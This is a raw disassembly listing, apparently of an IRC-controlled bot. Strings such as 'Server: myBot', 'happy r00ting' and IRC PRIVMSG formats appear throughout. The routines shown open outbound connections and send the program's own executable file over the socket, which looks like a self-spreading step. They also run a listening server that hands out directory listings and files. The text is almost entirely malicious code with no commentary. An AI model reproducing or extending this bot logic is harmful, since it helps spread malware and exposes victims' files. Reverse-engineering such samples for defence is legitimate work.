		push	offset aFtpTransferCom ; "ftp transfer complete	to: %s"
		push	eax
		call	sub_417D96
		add	esp, 0Ch
		cmp	[ebp+var_444], esi
		jnz	short loc_40E051
		push	esi
		lea	eax, [ebp+var_8E0]
		push	[ebp+var_448]
		push	eax
		lea	eax, [ebp+var_4C8]
		push	eax
		push	[ebp+var_6E0]
		call	sub_408C5D
		add	esp, 14h


loc_40E051:				; CODE XREF: sub_40DA9B+591j
		lea	eax, [ebp+var_8E0]
		push	eax
		call	sub_413B5E
		inc	dword_4CC308
		pop	ecx
		jmp	short loc_40E094
; ---------------------------------------------------------------------------


loc_40E066:				; CODE XREF: sub_40DA9B+50Fj
		push	esi
		push	20h
		push	offset a425CanTOpenDat ; "425 Can't open data connection.\n"
		jmp	short loc_40E08F
; ---------------------------------------------------------------------------


loc_40E070:				; CODE XREF: sub_40DA9B+4EBj
		lea	eax, [ebp+var_B0]
		push	offset aQuit	; "QUIT"
		push	eax
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40E094
		push	esi
		push	1Bh
		push	offset a221GoodbyeHapp ; "221 Goodbye happy r00ting.\n"


loc_40E08F:				; CODE XREF: sub_40DA9B+340j
					; sub_40DA9B+377j ...
		push	[ebp+arg_0]


loc_40E092:				; CODE XREF: sub_40DA9B+304j
		call	ebx	; send


loc_40E094:				; CODE XREF: sub_40DA9B+3C2j
					; sub_40DA9B+560j ...
		push	64h
		lea	eax, [ebp+var_2A0]
		push	esi
		push	eax
		call	sub_417AA0
		mov	edi, [ebp+arg_0]
		add	esp, 0Ch


loc_40E0A9:				; CODE XREF: sub_40DA9B+151j
					; sub_40DA9B+17Aj ...
		inc	edi
		cmp	edi, [ebp+var_4]
		mov	[ebp+arg_0], edi
		jle	loc_40DBBA
		jmp	loc_40DB7F
; ---------------------------------------------------------------------------


loc_40E0BB:				; CODE XREF: sub_40DA9B+10Fj
		push	1
		pop	eax


loc_40E0BE:				; CODE XREF: sub_40DA9B+C1j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_40DA9B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E0C5	proc near		; CODE XREF: sub_40DA9B+505p

var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1A0h
		lea	eax, [ebp+var_1A0]
		push	eax
		push	101h
		call	dword_4231D4	; WSAStartup
		push	0
		push	1
		push	2
		call	dword_423204	; socket
		push	[ebp+arg_0]
		mov	dword_4CC550, eax
		mov	[ebp+var_10], 2
		call	dword_4231F0	; inet_addr
		push	[ebp+arg_4]
		mov	[ebp+var_C], eax
		call	dword_4231F4	; htons
		mov	[ebp+var_E], ax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	dword_4CC550
		call	dword_4231F8	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E13D
		push	dword_4CC550
		call	dword_423200	; closesocket
		call	dword_4231D0	; WSACleanup
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_40E13D:				; CODE XREF: sub_40E0C5+60j
		push	1
		pop	eax
		leave
		retn
sub_40E0C5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E142	proc near		; CODE XREF: sub_40DA9B:loc_40DFF3p

var_504		= byte ptr -504h
var_104		= byte ptr -104h

		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	esi
		lea	eax, [ebp+var_104]
		push	104h
		push	eax
		push	0
		call	dword_423070	; GetModuleFileNameA
		lea	eax, [ebp+var_104]
		push	offset dword_425068
		push	eax
		call	sub_417A18
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_40E1D9
		test	byte ptr [esi+0Ch], 10h
		jnz	short loc_40E1BD
		push	edi
		mov	edi, 400h


loc_40E185:				; CODE XREF: sub_40E142+78j
		push	esi
		push	1
		lea	eax, [ebp+var_504]
		push	edi
		push	eax
		call	sub_4177F0
		add	esp, 10h
		lea	eax, [ebp+var_504]
		push	0
		push	edi
		push	eax
		push	dword_4CC550
		call	dword_423208	; send
		push	1
		call	dword_423078	; Sleep
		test	byte ptr [esi+0Ch], 10h
		jz	short loc_40E185
		pop	edi


loc_40E1BD:				; CODE XREF: sub_40E142+3Bj
		push	esi
		call	sub_41776B
		pop	ecx
		push	dword_4CC550
		call	dword_423200	; closesocket
		call	dword_4231D0	; WSACleanup
		push	1
		pop	eax


loc_40E1D9:				; CODE XREF: sub_40E142+35j
		pop	esi
		leave
		retn
sub_40E142	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E1DC	proc near		; DATA XREF: sub_401AC7+1DD6o
					; sub_40ABD2+475o

var_28F0	= byte ptr -28F0h
var_18F0	= byte ptr -18F0h
var_8F0		= byte ptr -8F0h
var_6F0		= byte ptr -6F0h
var_5EC		= dword	ptr -5ECh
var_5E8		= byte ptr -5E8h
var_360		= byte ptr -360h
var_25C		= dword	ptr -25Ch
var_254		= dword	ptr -254h
var_250		= dword	ptr -250h
var_24C		= dword	ptr -24Ch
var_248		= dword	ptr -248h
var_23C		= byte ptr -23Ch
var_138		= dword	ptr -138h
var_134		= dword	ptr -134h
var_34		= byte ptr -34h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 28F0h
		call	sub_418030
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp+var_5EC]
		push	1
		rep movsd
		pop	esi
		xor	ebx, ebx
		mov	[eax+3ACh], esi
		push	10h
		lea	eax, [ebp+var_24]
		push	ebx
		push	eax
		mov	[ebp+var_14], esi
		call	sub_417AA0
		add	esp, 0Ch
		mov	[ebp+var_24], 2
		push	[ebp+var_25C]
		call	dword_4C97FC	; htons
		push	ebx
		push	esi
		push	2
		mov	[ebp+var_22], ax
		mov	[ebp+var_20], ebx
		call	dword_4C9878	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_C], edi
		jz	loc_40E5C7
		mov	eax, [ebp+var_254]
		push	10h
		imul	eax, 234h
		mov	dword_43C74C[eax], edi
		lea	eax, [ebp+var_24]
		push	eax
		push	edi
		call	dword_4C9828	; bind
		cmp	eax, 0FFFFFFFFh
		jz	loc_40E5C7
		push	7FFFFFFFh
		push	edi
		call	dword_4C9824	; listen
		cmp	eax, 0FFFFFFFFh
		jz	loc_40E5C7
		lea	eax, [ebp+var_14]
		push	eax
		push	8004667Eh
		push	edi
		call	dword_4C9894	; ioctlsocket
		cmp	eax, 0FFFFFFFFh
		jz	loc_40E5C7
		mov	ebx, esi
		mov	[ebp+var_134], edi
		mov	[ebp+var_138], ebx
		mov	[ebp+var_8], edi


loc_40E2B3:				; CODE XREF: sub_40E1DC+3E1j
		push	41h
		xor	eax, eax
		pop	ecx
		lea	esi, [ebp+var_138]
		push	eax
		push	eax
		push	eax
		lea	eax, [ebp+var_6F0]
		push	eax
		mov	eax, [ebp+var_8]
		lea	edi, [ebp+var_6F0]
		inc	eax
		rep movsd
		push	eax
		call	dword_4C97E4	; select
		cmp	eax, 0FFFFFFFFh
		jz	loc_40E5C2
		xor	esi, esi
		mov	[ebp+var_4], esi


loc_40E2E9:				; CODE XREF: sub_40E1DC+3DBj
		lea	eax, [ebp+var_6F0]
		push	eax
		push	esi
		call	dword_4C96F8	; __WSAFDIsSet
		test	eax, eax
		jz	loc_40E5AD
		cmp	esi, [ebp+var_C]
		jnz	short loc_40E36B
		lea	eax, [ebp+var_10]
		mov	[ebp+var_10], 10h
		push	eax
		lea	eax, [ebp+var_34]
		push	eax
		push	[ebp+var_C]
		call	dword_4C988C	; accept
		cmp	eax, 0FFFFFFFFh
		jz	loc_40E5AD
		xor	ecx, ecx
		test	ebx, ebx
		jbe	short loc_40E33D
		lea	edx, [ebp+var_134]


loc_40E331:				; CODE XREF: sub_40E1DC+15Fj
		cmp	[edx], eax
		jz	short loc_40E33D
		inc	ecx
		add	edx, 4
		cmp	ecx, ebx
		jb	short loc_40E331


loc_40E33D:				; CODE XREF: sub_40E1DC+14Dj
					; sub_40E1DC+157j
		cmp	ecx, ebx
		jnz	short loc_40E35A
		cmp	ebx, 40h
		jnb	short loc_40E35A
		mov	[ebp+ecx*4+var_134], eax
		mov	ebx, [ebp+var_138]
		inc	ebx
		mov	[ebp+var_138], ebx


loc_40E35A:				; CODE XREF: sub_40E1DC+163j
					; sub_40E1DC+168j
		cmp	eax, [ebp+var_8]
		jbe	loc_40E5AD
		mov	[ebp+var_8], eax
		jmp	loc_40E5AD
; ---------------------------------------------------------------------------


loc_40E36B:				; CODE XREF: sub_40E1DC+126j
		mov	edi, 1000h
		lea	eax, [ebp+var_28F0]
		push	edi
		push	0
		push	eax
		call	sub_417AA0
		push	edi
		lea	eax, [ebp+var_18F0]
		push	0
		push	eax
		call	sub_417AA0
		add	esp, 18h
		lea	eax, [ebp+var_28F0]
		push	0
		push	edi
		push	eax
		push	esi
		call	dword_4C9814	; recv
		test	eax, eax
		jg	short loc_40E3FE
		push	esi
		call	dword_4C9890	; closesocket
		xor	ecx, ecx
		test	ebx, ebx
		jbe	loc_40E5AD
		lea	eax, [ebp+var_134]


loc_40E3BD:				; CODE XREF: sub_40E1DC+1EBj
		cmp	[eax], esi
		jz	short loc_40E3CE
		inc	ecx
		add	eax, 4
		cmp	ecx, ebx
		jb	short loc_40E3BD
		jmp	loc_40E5AD
; ---------------------------------------------------------------------------


loc_40E3CE:				; CODE XREF: sub_40E1DC+1E3j
		lea	eax, [ebx-1]
		cmp	ecx, eax
		jnb	short loc_40E3F2
		lea	eax, [ebp+ecx*4+var_134]


loc_40E3DC:				; CODE XREF: sub_40E1DC+214j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	ebx, [ebp+var_138]
		add	eax, 4
		lea	edx, [ebx-1]
		cmp	ecx, edx
		jb	short loc_40E3DC


loc_40E3F2:				; CODE XREF: sub_40E1DC+1F7j
		dec	ebx
		mov	[ebp+var_138], ebx
		jmp	loc_40E5AD
; ---------------------------------------------------------------------------


loc_40E3FE:				; CODE XREF: sub_40E1DC+1C8j
		xor	esi, esi
		push	104h
		lea	eax, [ebp+var_23C]
		push	esi
		push	eax
		call	sub_417AA0
		lea	eax, [ebp+var_28F0]
		mov	[ebp+arg_0], esi
		push	eax
		call	sub_4176F0
		add	esp, 10h
		test	eax, eax
		jbe	loc_40E5AD


loc_40E42C:				; CODE XREF: sub_40E1DC+309j
		mov	eax, [ebp+arg_0]
		mov	al, [ebp+eax+var_28F0]
		cmp	al, 0Ah
		mov	[ebp+esi+var_18F0], al
		jnz	loc_40E4D1
		mov	esi, offset aGet_0 ; "GET "
		lea	eax, [ebp+var_18F0]
		push	esi
		push	eax
		call	sub_417E10
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40E4A5
		lea	eax, [ebp+var_18F0]
		push	eax
		call	sub_4176F0
		cmp	eax, 5
		pop	ecx
		jbe	short loc_40E4A5
		mov	eax, offset asc_42EF5C ; " "
		push	eax
		push	eax
		lea	eax, [ebp+var_18F0]
		push	esi
		push	eax
		call	sub_417E10
		pop	ecx
		pop	ecx
		push	eax
		call	sub_417E10
		pop	ecx
		pop	ecx
		push	eax
		call	sub_4185F4
		push	eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_4183B0
		add	esp, 10h
		jmp	short loc_40E4BC
; ---------------------------------------------------------------------------


loc_40E4A5:				; CODE XREF: sub_40E1DC+27Fj
					; sub_40E1DC+291j
		lea	eax, [ebp+var_18F0]
		push	offset asc_435C7C ; "\r\n"
		push	eax
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40E4F0


loc_40E4BC:				; CODE XREF: sub_40E1DC+2C7j
		push	edi
		lea	eax, [ebp+var_18F0]
		push	0
		push	eax
		call	sub_417AA0
		add	esp, 0Ch
		or	esi, 0FFFFFFFFh


loc_40E4D1:				; CODE XREF: sub_40E1DC+263j
		inc	[ebp+arg_0]
		lea	eax, [ebp+var_28F0]
		push	eax
		inc	esi
		call	sub_4176F0
		cmp	[ebp+arg_0], eax
		pop	ecx
		jb	loc_40E42C
		jmp	loc_40E5AD
; ---------------------------------------------------------------------------


loc_40E4F0:				; CODE XREF: sub_40E1DC+2DEj
		xor	ecx, ecx
		test	ebx, ebx
		jbe	short loc_40E53A
		lea	eax, [ebp+var_134]


loc_40E4FC:				; CODE XREF: sub_40E1DC+32Dj
		mov	esi, [ebp+var_4]
		cmp	[eax], esi
		jz	short loc_40E50D
		inc	ecx
		add	eax, 4
		cmp	ecx, ebx
		jb	short loc_40E4FC
		jmp	short loc_40E53D
; ---------------------------------------------------------------------------


loc_40E50D:				; CODE XREF: sub_40E1DC+325j
		lea	eax, [ebx-1]
		cmp	ecx, eax
		jnb	short loc_40E531
		lea	eax, [ebp+ecx*4+var_134]


loc_40E51B:				; CODE XREF: sub_40E1DC+353j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	ebx, [ebp+var_138]
		add	eax, 4
		lea	edx, [ebx-1]
		cmp	ecx, edx
		jb	short loc_40E51B


loc_40E531:				; CODE XREF: sub_40E1DC+336j
		dec	ebx
		mov	[ebp+var_138], ebx
		jmp	short loc_40E53D
; ---------------------------------------------------------------------------


loc_40E53A:				; CODE XREF: sub_40E1DC+318j
		mov	esi, [ebp+var_4]


loc_40E53D:				; CODE XREF: sub_40E1DC+32Fj
					; sub_40E1DC+35Cj
		lea	eax, [ebp+var_23C]
		test	eax, eax
		jz	short loc_40E5A6
		lea	eax, [ebp+var_360]
		push	eax
		call	sub_4176F0
		mov	edi, eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_4176F0
		add	edi, eax
		pop	ecx
		cmp	edi, 104h
		pop	ecx
		jnb	short loc_40E5A6
		and	[ebp+arg_0], 0
		lea	eax, [ebp+arg_0]
		push	eax
		push	8004667Eh
		push	esi
		call	dword_4C9894	; ioctlsocket
		push	[ebp+var_254]
		lea	eax, [ebp+var_23C]
		push	[ebp+var_248]
		push	eax
		lea	eax, [ebp+var_360]
		push	eax
		push	esi
		call	sub_40E7B9
		add	esp, 14h
		jmp	short loc_40E5AD
; ---------------------------------------------------------------------------


loc_40E5A6:				; CODE XREF: sub_40E1DC+369j
					; sub_40E1DC+38Fj
		push	esi
		call	dword_4C9890	; closesocket


loc_40E5AD:				; CODE XREF: sub_40E1DC+11Dj
					; sub_40E1DC+143j ...
		mov	esi, [ebp+var_4]
		inc	esi
		cmp	esi, [ebp+var_8]
		mov	[ebp+var_4], esi
		jbe	loc_40E2E9
		jmp	loc_40E2B3
; ---------------------------------------------------------------------------


loc_40E5C2:				; CODE XREF: sub_40E1DC+102j
		mov	edi, [ebp+var_C]
		xor	ebx, ebx


loc_40E5C7:				; CODE XREF: sub_40E1DC+6Aj
					; sub_40E1DC+92j ...
		call	dword_4C9798	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_8F0]
		push	offset unk_435C54
		push	eax
		call	sub_417D96
		add	esp, 0Ch
		cmp	[ebp+var_24C], ebx
		jnz	short loc_40E60D
		push	ebx
		lea	eax, [ebp+var_8F0]
		push	[ebp+var_250]
		push	eax
		lea	eax, [ebp+var_5E8]
		push	eax
		push	[ebp+var_5EC]
		call	sub_408C5D
		add	esp, 14h


loc_40E60D:				; CODE XREF: sub_40E1DC+40Cj
		lea	eax, [ebp+var_8F0]
		push	eax
		call	sub_413B5E
		pop	ecx
		push	edi
		call	dword_4C9890	; closesocket
		push	[ebp+var_254]
		call	sub_40A51F
		pop	ecx
		push	ebx
		call	dword_4230CC	; ExitThread
		pop	edi
		pop	esi
		pop	ebx
sub_40E1DC	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E637	proc near		; DATA XREF: sub_40E7B9+246o

var_1654	= byte ptr -1654h
var_654		= byte ptr -654h
var_550		= byte ptr -550h
var_44C		= dword	ptr -44Ch
var_3C8		= byte ptr -3C8h
var_2C4		= byte ptr -2C4h
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_A4		= dword	ptr -0A4h
var_9C		= byte ptr -9Ch
var_68		= byte ptr -68h
var_20		= byte ptr -20h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1654h
		call	sub_418030
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp+var_44C]
		rep movsd
		mov	dword ptr [eax+3ACh], 1
		lea	eax, [ebp+var_3C8]
		push	eax
		lea	eax, [ebp+var_550]
		push	eax
		call	sub_417D96
		lea	eax, [ebp+var_2C4]
		push	eax
		lea	eax, [ebp+var_654]
		push	eax
		call	sub_417D96
		xor	edi, edi
		add	esp, 10h
		cmp	[ebp+var_A4], edi
		jz	short loc_40E69C
		push	offset aTextHtml ; "text/html"
		jmp	short loc_40E6A1
; ---------------------------------------------------------------------------


loc_40E69C:				; CODE XREF: sub_40E637+5Cj
		push	offset aApplicationOct ; "application/octet-stream"


loc_40E6A1:				; CODE XREF: sub_40E637+63j
		lea	eax, [ebp+var_9C]
		push	eax
		call	sub_417D96
		pop	ecx
		lea	eax, [ebp+var_68]
		pop	ecx
		mov	esi, 409h
		push	46h
		push	eax
		push	offset aDddDdMmmYyyy ; "ddd, dd	MMM yyyy"
		push	edi
		push	edi
		push	esi
		call	dword_423104	; GetDateFormatA
		lea	eax, [ebp+var_20]
		push	1Eh
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	edi
		push	edi
		push	esi
		call	dword_423100	; GetTimeFormatA
		lea	eax, [ebp+var_20]
		cmp	[ebp+var_B8], 0FFFFFFFFh
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		jnz	short loc_40E71A
		lea	eax, [ebp+var_9C]
		push	eax
		lea	eax, [ebp+var_1654]
		push	offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax
		call	sub_417D96
		add	esp, 24h
		jmp	short loc_40E73B
; ---------------------------------------------------------------------------


loc_40E71A:				; CODE XREF: sub_40E637+C4j
		push	[ebp+var_B8]
		lea	eax, [ebp+var_9C]
		push	eax
		lea	eax, [ebp+var_1654]
		push	offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax
		call	sub_417D96
		add	esp, 28h


loc_40E73B:				; CODE XREF: sub_40E637+E1j
		lea	eax, [ebp+var_1654]
		push	edi
		push	eax
		call	sub_4176F0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1654]
		push	eax
		push	[ebp+var_44C]
		call	dword_4C9848	; send
		cmp	[ebp+var_A4], edi
		jnz	short loc_40E77B
		lea	eax, [ebp+var_550]
		push	eax
		push	[ebp+var_44C]
		call	sub_40F0EB
		pop	ecx
		pop	ecx
		jmp	short loc_40E798
; ---------------------------------------------------------------------------


loc_40E77B:				; CODE XREF: sub_40E637+12Cj
		lea	eax, [ebp+var_654]
		push	eax
		push	edi
		push	[ebp+var_44C]
		lea	eax, [ebp+var_550]
		push	eax
		call	sub_40EA69
		add	esp, 10h


loc_40E798:				; CODE XREF: sub_40E637+142j
		push	[ebp+var_44C]
		call	dword_4C9890	; closesocket
		push	[ebp+var_B4]
		call	sub_40A51F
		pop	ecx
		push	edi
		call	dword_4230CC	; ExitThread
		pop	edi
		pop	esi
sub_40E637	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E7B9	proc near		; CODE XREF: sub_40E1DC+3C0p

var_8C4		= byte ptr -8C4h
var_6C4		= dword	ptr -6C4h
var_640		= byte ptr -640h
var_53C		= byte ptr -53Ch
var_330		= dword	ptr -330h
var_32C		= dword	ptr -32Ch
var_31C		= dword	ptr -31Ch
var_318		= dword	ptr -318h
var_314		= byte ptr -314h
var_211		= byte ptr -211h
var_210		= byte ptr -210h
var_10C		= byte ptr -10Ch
var_10B		= byte ptr -10Bh
var_10A		= byte ptr -10Ah
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 8C4h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	104h
		lea	eax, [ebp+var_210]
		push	edi
		push	eax
		mov	[ebp+var_4], edi
		call	sub_417AA0
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		cmp	byte ptr [eax],	2Fh
		jz	short loc_40E7EF
		push	eax
		push	offset aS_2	; "\\%s"
		jmp	short loc_40E7F8
; ---------------------------------------------------------------------------


loc_40E7EF:				; CODE XREF: sub_40E7B9+2Cj
		push	eax
		mov	byte ptr [eax],	5Ch
		push	offset dword_42E26C


loc_40E7F8:				; CODE XREF: sub_40E7B9+34j
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_417D96
		add	esp, 0Ch
		lea	eax, [ebp+var_10C]
		xor	esi, esi
		xor	ebx, ebx
		push	eax
		call	sub_4176F0
		test	eax, eax
		pop	ecx
		jbe	short loc_40E893
		mov	[ebp+arg_8], 2


loc_40E823:				; CODE XREF: sub_40E7B9+D8j
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_4176F0
		cmp	[ebp+arg_8], eax
		pop	ecx
		jnb	short loc_40E863
		cmp	[ebp+esi+var_10C], 25h
		jnz	short loc_40E863
		cmp	[ebp+esi+var_10B], 32h
		jnz	short loc_40E863
		cmp	[ebp+esi+var_10A], 30h
		jnz	short loc_40E863
		inc	esi
		mov	[ebp+ebx+var_210], 20h
		inc	esi
		add	[ebp+arg_8], 2
		jmp	short loc_40E87D
; ---------------------------------------------------------------------------


loc_40E863:				; CODE XREF: sub_40E7B9+7Aj
					; sub_40E7B9+84j ...
		mov	al, [ebp+esi+var_10C]
		cmp	al, 2Fh
		jnz	short loc_40E873
		push	5Ch
		pop	eax
		jmp	short loc_40E876
; ---------------------------------------------------------------------------


loc_40E873:				; CODE XREF: sub_40E7B9+B3j
		movsx	eax, al


loc_40E876:				; CODE XREF: sub_40E7B9+B8j
		mov	[ebp+ebx+var_210], al


loc_40E87D:				; CODE XREF: sub_40E7B9+A8j
		lea	eax, [ebp+var_10C]
		inc	esi
		inc	[ebp+arg_8]
		push	eax
		inc	ebx
		call	sub_4176F0
		cmp	esi, eax
		pop	ecx
		jb	short loc_40E823


loc_40E893:				; CODE XREF: sub_40E7B9+61j
		lea	eax, [ebp+var_210]
		push	eax
		lea	eax, [ebp+var_314]
		push	[ebp+arg_4]
		push	offset dword_42C20C
		push	eax
		call	sub_417D96
		lea	eax, [ebp+var_314]
		push	offset asc_42C764 ; "\n"
		push	eax
		call	sub_4185F4
		add	esp, 18h
		lea	eax, [ebp+var_314]
		push	eax
		call	dword_423098	; GetFileAttributesA
		push	1
		cmp	eax, 10h
		pop	esi
		jz	short loc_40E8E1
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E8E4
		push	[ebp+arg_0]
		jmp	short loc_40E960
; ---------------------------------------------------------------------------


loc_40E8E1:				; CODE XREF: sub_40E7B9+11Cj
		mov	[ebp+var_4], esi


loc_40E8E4:				; CODE XREF: sub_40E7B9+121j
		cmp	[ebp+ebx+var_211], 5Ch
		jnz	short loc_40E8F1
		mov	[ebp+var_4], esi


loc_40E8F1:				; CODE XREF: sub_40E7B9+133j
		mov	ebx, [ebp+arg_0]
		cmp	[ebp+var_4], edi
		mov	[ebp+var_6C4], ebx
		mov	[ebp+var_318], edi
		jz	short loc_40E96B
		cmp	[ebp+arg_C], edi
		jz	short loc_40E95F
		lea	eax, [ebp+var_314]
		push	offset asc_428214 ; "*"
		push	eax
		call	sub_4183C0
		lea	eax, [ebp+var_314]
		push	eax
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_417D96
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_40F1A8
		lea	eax, [ebp+var_210]
		push	eax
		lea	eax, [ebp+var_53C]
		push	eax
		call	sub_417D96
		add	esp, 1Ch
		or	[ebp+var_330], 0FFFFFFFFh
		mov	[ebp+var_31C], esi
		jmp	short loc_40E9BA
; ---------------------------------------------------------------------------


loc_40E95F:				; CODE XREF: sub_40E7B9+14Fj
		push	ebx


loc_40E960:				; CODE XREF: sub_40E7B9+126j
		call	dword_4C9890	; closesocket
		jmp	loc_40EA62
; ---------------------------------------------------------------------------


loc_40E96B:				; CODE XREF: sub_40E7B9+14Aj
		push	edi
		push	edi
		push	3
		push	edi
		push	esi
		lea	eax, [ebp+var_314]
		push	80000000h
		push	eax
		call	dword_4230EC	; CreateFileA
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40E9BA
		lea	eax, [ebp+var_314]
		push	eax
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_417D96
		pop	ecx
		mov	[ebp+var_31C], edi
		pop	ecx
		push	edi
		push	esi
		call	dword_423108	; GetFileSize
		push	esi
		mov	[ebp+var_330], eax
		call	dword_423068	; CloseHandle


loc_40E9BA:				; CODE XREF: sub_40E7B9+1A4j
					; sub_40E7B9+1CFj
		mov	esi, [ebp+arg_10]
		lea	eax, [ebp+var_8C4]
		push	esi
		push	offset unk_435ED4
		push	eax
		call	sub_417D96
		push	edi
		lea	eax, [ebp+var_8C4]
		push	3
		push	eax
		call	sub_40A203
		mov	[ebp+var_32C], eax
		imul	eax, 234h
		add	esp, 18h
		mov	dword_43C744[eax], esi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_6C4]
		push	edi
		push	eax
		push	offset sub_40E637
		push	edi
		push	edi
		call	dword_42307C	; CreateThread
		mov	ecx, [ebp+var_32C]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_43C754[ecx], eax
		jz	short loc_40EA34


loc_40EA22:				; CODE XREF: sub_40E7B9+279j
		cmp	[ebp+var_318], edi
		jnz	short loc_40EA62
		push	5
		call	dword_423078	; Sleep
		jmp	short loc_40EA22
; ---------------------------------------------------------------------------


loc_40EA34:				; CODE XREF: sub_40E7B9+267j
		push	ebx
		call	dword_4C9890	; closesocket
		call	dword_42308C	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_8C4]
		push	offset unk_435E9C
		push	eax
		call	sub_417D96
		lea	eax, [ebp+var_8C4]
		push	eax
		call	sub_413B5E
		add	esp, 10h


loc_40EA62:				; CODE XREF: sub_40E7B9+1ADj
					; sub_40E7B9+26Fj
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_40E7B9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EA69	proc near		; CODE XREF: sub_401AC7+6A63p
					; sub_40E637+159p

var_594		= byte ptr -594h
var_490		= byte ptr -490h
var_388		= dword	ptr -388h
var_374		= byte ptr -374h
var_368		= dword	ptr -368h
var_35C		= byte ptr -35Ch
var_248		= byte ptr -248h
var_48		= byte ptr -48h
var_20		= byte ptr -20h
var_18		= word ptr -18h
var_16		= word ptr -16h
var_12		= word ptr -12h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 594h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	104h
		lea	eax, [ebp+var_594]
		push	ebx
		push	eax
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], ebx
		call	sub_417AA0
		mov	edi, [ebp+arg_0]
		push	offset asc_42C764 ; "\n"
		push	edi
		call	sub_4185F4
		add	esp, 14h
		cmp	[ebp+arg_8], ebx
		jz	short loc_40EAC8
		push	edi
		mov	esi, 200h
		push	[ebp+arg_8]
		lea	eax, [ebp+var_248]
		push	offset aPrivmsgSSearch ; "PRIVMSG %s :Searching	for: %s\r\n"
		push	esi
		push	eax
		call	sub_417E90
		add	esp, 14h
		jmp	loc_40EBC5
; ---------------------------------------------------------------------------


loc_40EAC8:				; CODE XREF: sub_40EA69+3Aj
		cmp	[ebp+arg_C], ebx
		push	edi
		jz	loc_40EBAB
		call	sub_4176F0
		mov	[eax+edi-1], bl
		push	edi
		mov	esi, 200h
		push	offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_417E90
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_4176F0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4C9848	; send
		push	edi
		push	offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_417E90
		add	esp, 10h
